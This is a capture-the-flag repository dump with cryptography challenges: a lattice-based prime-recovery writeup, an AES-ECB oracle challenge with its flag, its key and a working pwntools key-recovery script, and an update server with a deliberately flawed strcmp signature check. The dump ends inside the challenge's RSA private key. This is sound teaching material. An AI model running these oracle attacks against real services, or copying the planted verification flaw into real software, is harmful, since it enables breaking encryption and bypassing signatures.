    "Importantly, we note that $x_j$ is an element of $K$ and its components are rational numbers with fractional parts. Similarly, $|x_j|^2$ is a rational number with a fractional part. However, we are only given the integer parts of these values, so it seems like we might be missing some information.\n",
    "\n",
    "# Solution\n",
    "\n",
    "Let's analyse the second hint in further detail and see if we can use it to recover the primes directly, or find a relation involving the primes that will help us to do so.\n",
    "\n",
    "## Analysing Hint 2\n",
    "\n",
    "There will be some tedious algebra, so to make things a bit more readable we will drop the subscripts. Note that we use hint 1 here since $p^2 + q^2$ appears. We have\n",
    "\n",
    "$$\n",
    "\\begin{aligned}\n",
    "    x &= (a + 2^{-l} c) + (b + 2^{-l} d) z \\\\\n",
    "    &= (a + 2^{-l} c) + (b + 2^{-l} d) (p + qi) \\\\\n",
    "    &= ((a + 2^{-l} c) + (b + 2^{-l} d) p) + (b + 2^{-l} d) qi \\\\\n",
    "\\implies |x|^2 &= ((a + 2^{-l} c) + (b + 2^{-l} d) p)^2 + ((b + 2^{-l} d)q)^2 \\\\\n",
    "    &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p \\\\\n",
    "        &\\quad + (b + 2^{-l} d)^2 p^2 + (b + 2^{-l} d)^2 q^2 \\\\\n",
    "    &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p + (b + 2^{-l}d)^2 D \\\\\n",
    "    &= a^2 + 2 \\cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \\cdot 2^{-l} adp + 2 \\cdot 2^{-l} bcp + 2 \\cdot 2^{-2l} c d p \\\\\n",
    "        &\\quad + (b^2 + 2 \\cdot 2^{-l} bd + 2^{-2l} d^2) D \\\\\n",
    "    &= a^2 + 2 \\cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \\cdot 2^{-l} adp + 2 \\cdot 2^{-l} bcp + 2 \\cdot 2^{-2l} c d p \\\\\n",
    "        &\\quad + b^2 D + 2 \\cdot 2^{-l} bd D + 2^{-2l} d^2 D\n",
    "\\end{aligned}\n",
    "$$\n",
    "\n",
    "Now, this looks like a mess and it kinda is, but fortunately we can clean it up a bit. Recall that $a$ and $b$ are 1337-bit numbers, while $c$ and $d$ are 338-bit numbers ($l = 338$). The following table gives the approximate size of each term (_when considered as an integer_), which we will use to reason with soon. Note that $D = p^2 + q^2$ is on the order of $2 \\times 1337$ bits.\n",
    "\n",
    "|Term|Size (in bits)|\n",
    "|---|---|\n",
    "|$a^2$|$2 \\times 1337$|\n",
    "|$2 \\cdot 2^{-l} ac$|$1337$|\n",
    "|$2^{-2l}c^2$|$0$|\n",
    "|$2abp$|$3 \\times 1337$|\n",
    "|$2 \\cdot 2^{-l} adp$|$2 \\times 1337$|\n",
    "|$2 \\cdot 2^{-l} bcp$|$2 \\times 1337$|\n",
    "|$2 \\cdot 2^{-2l} cdp$|$1337$|\n",
    "|$b^2 D$|$4 \\times 1337$|\n",
    "|$2 \\cdot 2^{-l} bd D$|$3 \\times 1337$|\n",
    "|$2^{-2l} d^2 D$|$2 \\times 1337$|\n",
    "\n",
    "Now, what we will do is divide (integer division) the entire expression by $2ab$. Because $2ab$ is around $2 \\times 1337$ bits in size, we can more or less throw away any term whose size is $2 \\times 1337$ or less. This leaves us with\n",
    "\n",
    "$$\n",
    "\\begin{aligned}\n",
    "    \\frac{|x|^2}{2ab} = \\frac{y}{2ab} &\\approx p + \\frac{(b^2 + 2 \\cdot 2^{-l} bd) D}{2ab} \\\\\n",
    "        &\\approx p + \\frac{b^2D}{2ab} + \\frac{2^{-l}dD}{a}\n",
    "\\end{aligned}\n",
    "$$\n",
    "\n",
    "This approximation itself is very accurate, and only differs by a few bits due to the $2 \\times 1337$ terms. However, we don't know $d$, so this equation isn't as useful for us. Instead, we write\n",
    "\n",
    "$$\n",
    "\\begin{aligned}\n",
    "    \\frac{y}{2ab} &\\approx p + \\frac{b^2 D}{2ab} + \\left \\lfloor \\frac{2^{-l} D}{a} \\right \\rfloor d \\\\\n",
    "                  &= p + \\frac{b^2 D}{2ab} + \\left \\lfloor \\frac{2^{-l} D}{a} \\right \\rfloor d + k\n",
    "\\end{aligned} \n",
    "$$\n",
    "\n",
    "where $|k| < 2^l$. Note that the approximation is off by a term of size approximately $l$ bits because of integer division rounding. We will omit the $\\lfloor \\rfloor$, but it should be understood that we are performing integer division.\n",
    "\n",
    "## Using Hint 2\n",
    "\n",
    "Now let's bring back the subscripts, noting that we have two instances:\n",
    "\n",
    "$$\n",
    "\\begin{aligned}\n",
    "\\begin{cases}\n",
    "    \\frac{y_1}{2a_1 b_1} &= p + \\frac{b_1^2 D}{2 a_1 b_1} + \\frac{2^{-l} D}{a_1} d_1 + k_1 \\\\\n",
    "    \\frac{y_2}{2a_2 b_2} &= p + \\frac{b_2^2 D}{2 a_2 b_2} + \\frac{2^{-l} D}{a_2} d_2 + k_2 \\\\\n",
    "\\end{cases}\n",
    "\\end{aligned}\n",
    "$$\n",
    "\n",
    "Finally, let's combine these two equations to eliminate $p$. \n",
    "\n",
    "$$\n",
    "\\frac{y_1 - b_1^2 D}{2 a_1 b_1} - \\frac{2^{-l} D}{a_1} d_1 - k_1 = \\frac{y_2 - b_2^2 D}{2 a_2 b_2}- \\frac{2^{-l} D}{a_2} d_2 - k_2\n",
    "$$\n",
    "\n",
    "Just so it's easier to read, let $t_j = \\frac{y_j - b_j^2 D}{2 a_j b_j}$ and $s_j = \\frac{2^{-l} D}{a_j}$. Then, rewriting the above equation, we have:\n",
    "\n",
    "$$\n",
    "t_1 - s_1 d_1 - k_1 = t_2 - s_2 d_2 - k_2\n",
    "$$\n",
    "\n",
    "or to put it in a more exciting way:\n",
    "\n",
    "$$\n",
    "f(d_1, d_2, k) = t_1 - s_1 d_1 - t_2 + s_2 d_2 - k = 0\n",
    "$$\n",
    "\n",
    "Now, $f$ has \"small\" integer roots $d_1, d_2$ and $k$. An algorithm for finding small roots of multivariate polyomials over the integers is described in this [paper](https://eprint.iacr.org/2007/088.pdf). Following a similar idea, [defund's coppersmith implementation](https://github.com/defund/coppersmith/) can also be used by working over an arbitrary ring $\\mathbb{Z}/N\\mathbb{Z}$ for some large $N$.\n",
    "\n",
    "### Lattice Approach\n",
    "\n",
    "However, we can also recover $d_1$ and $d_2$ with a very simple lattice. Consider the lattice generated by the rows of the following matrix:\n",
    "\n",
    "$$\n",
    "\\begin{bmatrix}\n",
    "    s_1 & 1 & 0 \\\\\n",
    "    s_2 & 0 & 1 \\\\\n",
    "    t_1 - t_2 & 0 & 0\n",
    "\\end{bmatrix}\n",
    "$$\n",
    "\n",
    "The short vector $(k, -d_1, d_2)$ is an element of this matrix, given by the linear combination of $-d_1$ times the first row, $d_2$ times the second row, and $1$ times the third row. LLL finds this vector.\n",
    "\n",
    "## Recovering the Primes\n",
    "\n",
    "Now that we have $d$, it is straightforward to recover $p$. We use the approximation we found earlier:\n",
    "\n",
    "$$\n",
    "\\begin{aligned}\n",
    "    \\frac{y}{2ab} &\\approx p + \\frac{(b^2 + 2 \\cdot 2^{-l} bd) D}{2ab} \\\\\n",
    "    \\implies p &\\approx \\frac{y - (b^2 + 2 \\cdot 2^{-l} bd) D}{2ab}\n",
    "\\end{aligned}\n",
    "$$\n",
    "\n",
    "This approximation is accurate to all but a few bits, which we can easily exhaust over, checking if $D - p^2$ is a square to know which candidate for $p$ is correct. We then compute $q$ as the square root of $D - p^2$.\n",
    "\n",
    "## Getting the Flag\n",
    "\n",
    "We've already discussed how to decrypt the ciphertext given that we have the prime factors. Compute $d \\equiv e^{-1} \\pmod{(p-1)(q-1)}$ as in regular RSA and raise $c$ to the $d$th power. The flag is in the imaginary component of the result.\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "bd9c2253",
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.6"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}


================================================
FILE: crypto/1337crypt-v2/solve/writeup.md
================================================
# Challenge Overview

The challenge claims to be a more complex version of [1337crypt](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#1337crypt) from last year's DUCTF. Reading the solution for 1337crypt may help a bit with some initial ideas as both challenges play with the idea of partial knowledge. In both challenges, we are given hints to recover the prime factors, but the hints themselves seem to omit some bits of information. Specifically, the hints are the integer parts of some values that should actually contain a fractional part as well. As we will see (and as you may suspect :)), lattice techniques will help us to recover this missing information and therefore the primes.

## Flag Encryption

We start by looking at how the flag is encrypted so that we have a clear idea of what we need to recover it. The flag is encrypted in a way very similar to RSA. The only difference is that instead of using integers, we use [Gaussian integers](https://en.wikipedia.org/wiki/Gaussian_integer). If you aren't familiar with Gaussian integers, I highly recommend reading [this excellent blog post](https://blog.cryptohack.org/tetctf-2021) by CryptoHack for some extra background.

We work in the ring $(\mathbb{Z}/n\mathbb{Z})[i]$ (we will just write this as $\mathbb{Z}_n[i]$) where $n = pq$ is the RSA modulus. The flag is encoded as an element $m$, of $\mathbb{Z}_n[i]$ by choosing a random integer $r < n$ and computing $m = r + \mathrm{flag} \cdot i$.

The ciphertext is obtained by raising $m$ to the $e$th power. In the challenge, $e$ is 0x1337.

To decrypt the ciphertext, we must find the multiplicative inverse of $e$ modulo the order of $\mathbb{Z}_n[i]$. (Note: in this context, when we say "the order of $\mathbb{Z}_n[i]$" we mean the cardinality of the multiplicative group of $\mathbb{Z}_n[i]$) The order of $\mathbb{Z}_n[i]$ is $\varphi(n) = (p-1)(q-1)$, so to compute it, we'll need to recover the primes.

## Hints

The challenge generates 1337-bit primes $p$ and $q$ and gives us two hints, and the ciphertext. Using these hints, we need to recover $p$ and $q$.

### Hint 1

The first hint, which we will call $D$, is $D = p^2 + q^2$. This seems like a pretty big hint, and indeed if we were also given $n = pq$ we could easily recover the primes by finding the roots of a simple univariate polynomial. As far as I am aware, $D$ can't be used to directly recover $p$ and $q$ either; there are techniques such as factoring $p^2 + q^2 = (p + qi)(p - qi)$ over the Gaussian integers, but this requires factoring $D$ over the integers which may take a long time. That said, if you were able to find a solution using this hint alone I'd be interested in seeing it :)

### Hint 2

There is a lot more going on in the second hint. But firstly, some background. [Number field](https://en.wikipedia.org/wiki/Algebraic_number_field) is just a fancy name for an (finite) extension of the rational numbers $\mathbb{Q}$. The simplest number field is $\mathbb{Q}$ itself, and the rational complex numbers, $\mathbb{Q}(i)$ is also a number field.

We can see that a number field is constructed from $p$ and $q$. In Sage, the first argument to [NumberField](https://doc.sagemath.org/html/en/reference/number_fields/sage/rings/number_field/number_field.html#sage.rings.number_field.number_field.NumberField) is the defining polynomial. The roots of this polynomial specify the elements to be adjoined to $\mathbb{Q}$ to get the number field. We see that the defining polynomial for $K$ is $(x-p)^2 + q^2$, which has roots $p \pm qi$. Therefore, we define

$$
K = \mathbb{Q}(p + qi)
$$

(side note: we only need to adjoin one root since the other, it's conjugate, can be obtained from the root with usual field operations). In the handout code, $z = p + qi$ denotes this adjoined element.

Now, for the values we are given. We get two instances of values with the same form. For the $j$th hint ($j = 1, 2$), two 1337-bit numbers $a_j$ and $b_j$ are generated, as well as two $l$-bit numbers $c_j$ and $d_j$. Then, $x_j$ is computed as

$$
x_j = (a_j + 2^{-l} c_j) + (b_j + 2^{-l} d_j) z
$$

Lastly,

$$
|x_j|^2 = x_j \overline{x_j}
$$

is computed and we are given the three values $(\lfloor |x_j|^2 \rfloor, a_j, b_j)$. Note that $\overline{x_j}$ denotes the complex conjugate of $x_j$, so the value $x_j \overline{x_j}$ gives us the squared [complex modulus](https://en.wikipedia.org/wiki/Absolute_value#Complex_numbers) of $x_j$. For ease of reading, we will write $y$ instead of $\lfloor |x_j|^2 \rfloor$.

Importantly, we note that $x_j$ is an element of $K$ and its components are rational numbers with fractional parts. Similarly, $|x_j|^2$ is a rational number with a fractional part. However, we are only given the integer parts of these values, so it seems like we might be missing some information.

# Solution

Let's analyse the second hint in further detail and see if we can use it to recover the primes directly, or find a relation involving the primes that will help us to do so.

## Analysing Hint 2

There will be some tedious algebra, so to make things a bit more readable we will drop the subscripts. Note that we use hint 1 here since $p^2 + q^2$ appears. We have

$$
\begin{aligned}
    x &= (a + 2^{-l} c) + (b + 2^{-l} d) z \\
    &= (a + 2^{-l} c) + (b + 2^{-l} d) (p + qi) \\
    &= ((a + 2^{-l} c) + (b + 2^{-l} d) p) + (b + 2^{-l} d) qi \\
\implies |x|^2 &= ((a + 2^{-l} c) + (b + 2^{-l} d) p)^2 + ((b + 2^{-l} d)q)^2 \\
    &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p \\
        &\quad + (b + 2^{-l} d)^2 p^2 + (b + 2^{-l} d)^2 q^2 \\
    &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p + (b + 2^{-l}d)^2 D \\
    &= a^2 + 2 \cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \cdot 2^{-l} adp + 2 \cdot 2^{-l} bcp + 2 \cdot 2^{-2l} c d p \\
        &\quad + (b^2 + 2 \cdot 2^{-l} bd + 2^{-2l} d^2) D \\
    &= a^2 + 2 \cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \cdot 2^{-l} adp + 2 \cdot 2^{-l} bcp + 2 \cdot 2^{-2l} c d p \\
        &\quad + b^2 D + 2 \cdot 2^{-l} bd D + 2^{-2l} d^2 D
\end{aligned}
$$

Now, this looks like a mess and it kinda is, but fortunately we can clean it up a bit. Recall that $a$ and $b$ are 1337-bit numbers, while $c$ and $d$ are 338-bit numbers ($l = 338$). The following table gives the approximate size of each term (_when considered as an integer_), which we will use to reason with soon. Note that $D = p^2 + q^2$ is on the order of $2 \times 1337$ bits.

|Term|Size (in bits)|
|---|---|
|$a^2$|$2 \times 1337$|
|$2 \cdot 2^{-l} ac$|$1337$|
|$2^{-2l}c^2$|$0$|
|$2abp$|$3 \times 1337$|
|$2 \cdot 2^{-l} adp$|$2 \times 1337$|
|$2 \cdot 2^{-l} bcp$|$2 \times 1337$|
|$2 \cdot 2^{-2l} cdp$|$1337$|
|$b^2 D$|$4 \times 1337$|
|$2 \cdot 2^{-l} bd D$|$3 \times 1337$|
|$2^{-2l} d^2 D$|$2 \times 1337$|

Now, what we will do is divide (integer division) the entire expression by $2ab$. Because $2ab$ is around $2 \times 1337$ bits in size, we can more or less throw away any term whose size is $2 \times 1337$ or less. This leaves us with

$$
\begin{aligned}
    \frac{|x|^2}{2ab} = \frac{y}{2ab} &\approx p + \frac{(b^2 + 2 \cdot 2^{-l} bd) D}{2ab} \\
        &\approx p + \frac{b^2D}{2ab} + \frac{2^{-l}dD}{a}
\end{aligned}
$$

This approximation itself is very accurate, and only differs by a few bits due to the $2 \times 1337$ terms. However, we don't know $d$, so this equation isn't as useful for us. Instead, we write

$$
\begin{aligned}
    \frac{y}{2ab} &\approx p + \frac{b^2 D}{2ab} + \left \lfloor \frac{2^{-l} D}{a} \right \rfloor d \\
                  &= p + \frac{b^2 D}{2ab} + \left \lfloor \frac{2^{-l} D}{a} \right \rfloor d + k
\end{aligned} 
$$

where $|k| < 2^l$. Note that the approximation is off by a term of size approximately $l$ bits because of integer division rounding. We will omit the $\lfloor \rfloor$, but it should be understood that we are performing integer division.

## Using Hint 2

Now let's bring back the subscripts, noting that we have two instances:

$$
\begin{aligned}
\begin{cases}
    \frac{y_1}{2a_1 b_1} &= p + \frac{b_1^2 D}{2 a_1 b_1} + \frac{2^{-l} D}{a_1} d_1 + k_1 \\
    \frac{y_2}{2a_2 b_2} &= p + \frac{b_2^2 D}{2 a_2 b_2} + \frac{2^{-l} D}{a_2} d_2 + k_2 \\
\end{cases}
\end{aligned}
$$

Finally, let's combine these two equations to eliminate $p$. 

$$
\frac{y_1 - b_1^2 D}{2 a_1 b_1} - \frac{2^{-l} D}{a_1} d_1 - k_1 = \frac{y_2 - b_2^2 D}{2 a_2 b_2}- \frac{2^{-l} D}{a_2} d_2 - k_2
$$

Just so it's easier to read, let $t_j = \frac{y_j - b_j^2 D}{2 a_j b_j}$ and $s_j = \frac{2^{-l} D}{a_j}$. Then, rewriting the above equation, we have:

$$
t_1 - s_1 d_1 - k_1 = t_2 - s_2 d_2 - k_2
$$

or to put it in a more exciting way:

$$
f(d_1, d_2, k) = t_1 - s_1 d_1 - t_2 + s_2 d_2 - k = 0
$$

Now, $f$ has "small" integer roots $d_1, d_2$ and $k$. An algorithm for finding small roots of multivariate polyomials over the integers is described in this [paper](https://eprint.iacr.org/2007/088.pdf). Following a similar idea, [defund's coppersmith implementation](https://github.com/defund/coppersmith/) can also be used by working over an arbitrary ring $\mathbb{Z}/N\mathbb{Z}$ for some large $N$.

### Lattice Approach

However, we can also recover $d_1$ and $d_2$ with a very simple lattice. Consider the lattice generated by the rows of the following matrix:

$$
\begin{bmatrix}
    s_1 & 1 & 0 \\
    s_2 & 0 & 1 \\
    t_1 - t_2 & 0 & 0
\end{bmatrix}
$$

The short vector $(k, -d_1, d_2)$ is an element of this matrix, given by the linear combination of $-d_1$ times the first row, $d_2$ times the second row, and $1$ times the third row. LLL finds this vector.

## Recovering the Primes

Now that we have $d$, it is straightforward to recover $p$. We use the approximation we found earlier:

$$
\begin{aligned}
    \frac{y}{2ab} &\approx p + \frac{(b^2 + 2 \cdot 2^{-l} bd) D}{2ab} \\
    \implies p &\approx \frac{y - (b^2 + 2 \cdot 2^{-l} bd) D}{2ab}
\end{aligned}
$$

This approximation is accurate to all but a few bits, which we can easily exhaust over, checking if $D - p^2$ is a square to know which candidate for $p$ is correct. We then compute $q$ as the square root of $D - p^2$.

## Getting the Flag

We've already discussed how to decrypt the ciphertext given that we have the prime factors. Compute $d \equiv e^{-1} \pmod{(p-1)(q-1)}$ as in regular RSA and raise $c$ to the $d$th power. The flag is in the imaginary component of the result.


================================================
FILE: crypto/aes-ecb/Dockerfile
================================================
FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04

RUN pip install pycryptodome

COPY ./challenge/flag.txt /home/ctf/chal/
COPY ./challenge/key.txt /home/ctf/chal/
COPY ./challenge/aes-ecb.py /home/ctf/chal/pwn


================================================
FILE: crypto/aes-ecb/README.md
================================================
# Easily Can Break

**Category:** crypto

**Difficulty:** easy

**Author:** 2keebs

AES encryption challenge.

**Attached files:**
- ./challenge/aes-ecb.py (sha256: a6cfc25dc350577e0b0527575340f868042d8c15e8bb1067a707c4140ce1dc87)



================================================
FILE: crypto/aes-ecb/challenge/aes-ecb.py
================================================
#!/usr/bin/python3
import sys
import os
from Crypto.Cipher import AES
from base64 import b64encode

bs = 16 # blocksize
flag = open('flag.txt', 'rb').read().strip()
key = open('key.txt', 'r').read().strip().encode() # my usual password

def enc(pt):
    cipher = AES.new(key, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt+key))
    res = b64encode(ct).decode('utf-8')
    return res

def pad(pt):
    while len(pt) % bs:
        pt += b'0'
    return (pt)

def main():
    print('AES-128')
    while(1):
        msg = input('Enter plaintext:\n').strip()
        pt = flag + str.encode(msg)
        ct = enc(pt)
        print(ct)

if __name__ == '__main__':
    main()


================================================
FILE: crypto/aes-ecb/challenge/flag.txt
================================================
DUCTF{ECB_M0DE_K3YP4D_D474_L34k}


================================================
FILE: crypto/aes-ecb/challenge/key.txt
================================================
!_SECRETSOURCE_!

================================================
FILE: crypto/aes-ecb/challenge.yml
================================================
version: "0.1"
id: aes-ecb
name: Break Me!
category: crypto
description: |
  AES encryption challenge.

  Author: 2keebs

connection_info: nc ${host} ${port}

tags:
  - easy

files:
  - ./challenge/aes-ecb.py

flags:
  - DUCTF{ECB_M0DE_K3YP4D_D474_L34k}


================================================
FILE: crypto/aes-ecb/solve/requirements.txt
================================================
pwntools == 4.3.1
pycryptodomex == 3.9.7


================================================
FILE: crypto/aes-ecb/solve/solution.py
================================================
#!/usr/bin/python3

from Crypto.Cipher import AES
from pwn import *
from base64 import b64decode

if len(sys.argv) != 3:
    print("usage: ./solution.py IP PORT")
    exit()

def get_block(s,n):
    start = 16 * (n-1)
    end = start + 16
    r = b.decode("utf-8")
    return b64decode(r)[start:end]

# this will grow as each byte of the key is revealed
key = b""


s = remote(sys.argv[1], sys.argv[2])
s.recvline()

# each byte position in the block (16)
for i in range(16, 0, -1):
    partial = b"A"*(i-1)
    s.recvline()
    s.sendline(partial)
    b = s.recvline()
    target = get_block(b, 3)

    # each possible ascii byte value for that position
    for j in range(33, 127):
        k = bytes([j])
        s.recvline()
        s.sendline(partial + key + k)
        b = s.recvline()
        res = get_block(b, 3)

        # compare with padded output
        if res == target:
            key += k
            break

print("found key:", key)
cipher = AES.new(key, AES.MODE_ECB)
s.sendline()
s.recvline()
b = s.recvline()
ct = get_block(b,1) + get_block(b,2)
flag = cipher.decrypt(ct)
print(flag.decode("utf-8"))
s.close()


================================================
FILE: crypto/aes-ecb/solve/writeup.md
================================================
# Easily Can Break

## Discovering the Vulnerability

The included server code shows `AES-128-ECB` encryption oracle using the encryption key as padding.

```python
    key = open('key.txt', 'r').read().strip().encode() # my usual password

    ...

    cipher = AES.new(key, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt+key))
```

Since the key is used for padding and ECB mode creates identical ciphertext for repeated (plaintext, key) pairs, recovery of the key is possible.

## Developing the exploit

Connecting to the server returns the encrypted plaintext in base64. This comprises of `flag + input + key + pad`. Confirming with an empty input:
```python
Enter plaintext:
hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV
```
Checking the length of the ciphertext shows it is three blocks:
```bash
echo 'hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV' | base64 -d | xxd
00000000: 8470 d4bf c00c 8f4c 7ce3 1bf9 0cb0 1f9d  .p.....L|.......
00000010: 590c b62a 3145 3f3b 82c9 1224 b3c2 9c80  Y..*1E?;...$....
00000020: 9bc5 d676 11b0 25bd d9fc 9598 d869 6b95  ...v..%......ik.
```

As the server is `AES-128`, the key size must be 16 bytes, which is one block (16 bytes = 128 bits). This is guaranteed to be (at least partially) in the last block of the ciphertext. This reveals that the length of the flag is between 17-32 bytes, to produce a ciphertext of 3 blocks.

The idea is to send a plaintexts of a specific length that will be padded with some bytes of the key, which we can then determine the value of by comparing ciphertexts. 

This is best explained with an example for the first byte of the key:
```
Step 1: input 15 bytes of plaintext, e.g. 15*"A".
The ciphertext returned will be Encrypt(flag + 15*"A" + key + pad)
The third block of the ciphertext will then be Encrypt(15*"A" + key[0])

Step 2: Store the third block of ciphertext as "target"

Step 3: input 15*"A" + x, where x is a guess of a key byte

Step 4: compare the saved "target" with the third block of the ciphertext
Repeat step 3-4 for all possible values of x.
When they match, the first byte of the key has been successfully guessed

Repeat step 1, decrementing the number of "A"s to reveal each subsequent byte of the key
```

Once the key has been recovered, the ciphertext can be decrypted to reveal the flag.

## Execution: recovering the flag

Finding the key. Since the source file says the key is the password, the characters must be printable. This narrows the keyspace to ASCII:
```python
# each byte position in the block (16)
for i in range(16, 0, -1):
    partial = b"A"*(i-1)
    s.recvline()
    s.sendline(partial)
    b = s.recvline()
    target = get_block(b, 3)

    # each possible ascii byte value for that position
    for j in range(33, 127):
        k = bytes([j])
        s.recvline()
        s.sendline(partial + key + k)
        b = s.recvline()
        res = get_block(b, 3)

        # compare with padded output
        if res == target:
            key += k
            break
```

Now the key has been discovered, decrypt the ciphertext:

```
ct = b64decode("hHDUv8AMj0x84xv5DLAfnVkMtioxRT87gskSJLPCnICbxdZ2EbAlvdn8lZjYaWuV")
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(ct)
flag{ECB_M0DE_K3YP4D_D474_L34k5}
```
Solved.



================================================
FILE: crypto/otwhat-1/Dockerfile
================================================
FROM tiangolo/uwsgi-nginx-flask:python3.8

ENV LISTEN_PORT 1337

EXPOSE 1337

RUN pip3 install pycryptodome

COPY challenge/app/main.py /app
COPY challenge/app/rsa.key /app


================================================
FILE: crypto/otwhat-1/README.md
================================================
# OTWhat 1

**Category:** Crypto

**Difficulty:** Easy

**Author:** nullableVoid\*#7225

We found this exposed IoT thing. It doesn't do anything we can exploit, but there's a HTTP server that's meant for updating. We have a malicious update server at `https://EVILCODE/`, and any path can work with the update mechanism, but we don't have an OEM signature for it. Can you trick it into running our malware?


================================================
FILE: crypto/otwhat-1/challenge/app/main.py
================================================
from flask import Flask, request, redirect, url_for
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA3_512
from Crypto.Signature import pkcs1_15
from base64 import b64decode, b64encode
app = Flask(__name__)

with open("rsa.key") as f:
    key = RSA.import_key(f.read())

example_url = "https://GOODCODE/"
example_sig = b64encode(pkcs1_15.new(key).sign(SHA3_512.new(example_url.encode()))).decode()


def strcmp(s1: bytes, s2: bytes) -> int:
    for a, b in zip(s1 + b'\0', s2 + b'\0'):
        if a == 0 or a != b:
            break
    return a - b


@app.route("/update.cgi", methods=['GET', 'POST'])
def update():
    output = (
       f'<form action="{url_for("update")}" method="post">\n'
        '    <label for="url">URL: </label>\n'
       f'    <input type="text" name="url" id="url" value="{example_url}" required>\n'
        '    <label for="signature">Signature (Base64): </label>\n'
       f'    <input type="text" name="signature" id="signature" value="{example_sig}" required>\n'
        '    <input type="submit" value="Update">'
        '</form>\n'
        '<br>\n'
    )
    if request.method == "POST":
        result = None

        url = request.form.get('url')
        hash = SHA3_512.new(url.encode('latin1')).digest()
        try:
            signature = b64decode(request.form.get('signature'))
        except:
            output += "Error: Signature parsing error.<br>\n"
        else:
            if len(signature) != 512:
                output += "Error: Incorrect signature length (expected 512 bytes).<br>\n"
            else:
                try:
                    signature = int.from_bytes(signature, "big")
                    if signature <= 1:
                        output += "Error: Invalid signature<br>\n"
                    else:
                        decrypted_signature = pow(signature, key.e, key.n).to_bytes(key.size_in_bytes(), "big")
                        result = strcmp(hash, decrypted_signature[-64:])
                except Exception as e:
                    print(e)
                    output += "Error<br>\n"

                if result == 0:
                    if url.startswith("https://GOODCODE/"):
                        output += "Update successful<br>\n"
                    elif url.startswith("https://EVILCODE/"):
                        output += "Update successful<br>\n"
                        output += "<pre>RCE POPPED! HACK THE PLANET!! DUCTF{https://wiibrew.org/wiki/Signing_bug#L0L_memcmp=strcmp}</pre><br>\n"
                    else:
                        output += "Update failed<br>\n"
                else:
                    output += "Error: Invalid signature<br>\n"

    output += (
        '<!-- DEBUG\n'
        'OEM Key: \n' +
       f'{key.public_key().export_key().decode()}\n'
    )
    if request.method == "POST" and result is not None:
        output += f'\nupdate.c:69:main(): strcmp(hash, &decrypted_signature[512 - 64]) = {result}\n'
    output += '-->'
    return output


@app.route("/")
def root():
    return redirect(url_for('update'))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=1337)


================================================
FILE: crypto/otwhat-1/challenge/app/rsa.key
================================================
-----BEGIN RSA PRIVATE KEY-----
MIIJJwIBAAKCAgEAnY2iYEzs6ZslxMlk80yofcrI9uYWXFOvvLIrpCCBEpdbQhaP
YtR45brYwtFS8ll9FLsPJRUB1iRl0Tl3lB5G8W3ovUE69DJHnbxXjPIITq3gNauC
1tNyq+ynZ7L9tMvnzeWIkwEXS26cFR5TDmvQ77X4j1DrrDyuHPHcS+JS1ZIktTZ4
E0EOFfY5FR2FNd5ffLacU9o400CK+HT8mL/kNFU3jnpRc4NUjrWCTkyulumqn5OD
u+I9aJmaORnAYGC8mb7glx9SIiTVT8RToHupmMaIJC5Y91BSCmAFN132k914lJJ0
11KB1IGQErUe14NA1XC0BigMPHfO29oCMOlw1Qmhg2ujg8IPqEQDLBqMtq6BXzKr
vcqHV+B3GbqZ+1TVCJLDX8PNzUbFQ1VR9QHlb2Umf9tjWmJZIfu+i6ltfnb1gFvJ
fHs2dpn8WUso64uuGOUFw3AnPqMgSoGT5kMaRImdVYZfx0T2AdY3vHKfoNDAVlBT
lHN97c0fhMRtz2k3pbvHw9PR9JGCeimDXV0aes+0ibTaGPHegfj3PzODOBfDdGdZ
+jSvcTKAsyzBBOTLxaWCMNYoaured8cjlee6HxXHHpjNhFHbxNYnEMb09hEsv38a
tOYejdXhU/eQlSPTCxk00sOuqUEhjZa3vFSEkSjY4eTGHcXc9Yu/kvpWUikCAwEA
AQKCAgBbO67xUNpHk/3U7EI22QcggJLK1gXQxO0YuZun2OKlH1xK8sFpG1w+u2nV
tlzv1X4myQNGF9oOZNlIxJxH+xhdqaWCIgm/anYqEuwnw+enl+wjaAPF3n+iqtFt
rSpYzVKX2fiyF4mjtpNPb1XtHeXJSXh7lQJDpIe2Xx+QGaiZ35y+CqKRk7RSZ1g6
r/N5dCGbGCuCKvWI7vEKWsQCt+uvmkEnkhEkcMJAOT8RlDntTbXt3gAEhkfFEF1L
/2t048+SwANRv2NSPj3/iNJcNf/JZf1j5irCW5KGS3/5xcGJck/myMA8B50Cr1v8
WUFYzrp2XmMAxaQAR+hTSvTF2gfpjKhLgDX69YyJ7wSCsXVPOKyaN0hPdrAbYNy8
k2BA5fxbn4LOQ+4fNnLwezba4Rk9j6nEZ41FpiLPDIOsmaSd0ABmgxZpY80Dar40
yCaT40pLzsjM87wTRZaz8uBNwfwTH5SHtu1dqsdOLRHiTXP2bH12Ud3HSc4bnV4M
Dpd5kHJiQxlDpKqPM3H8qTXpdhrRSz1OKOynD82hkUIMr+881t0rr1yDGypfvxqH
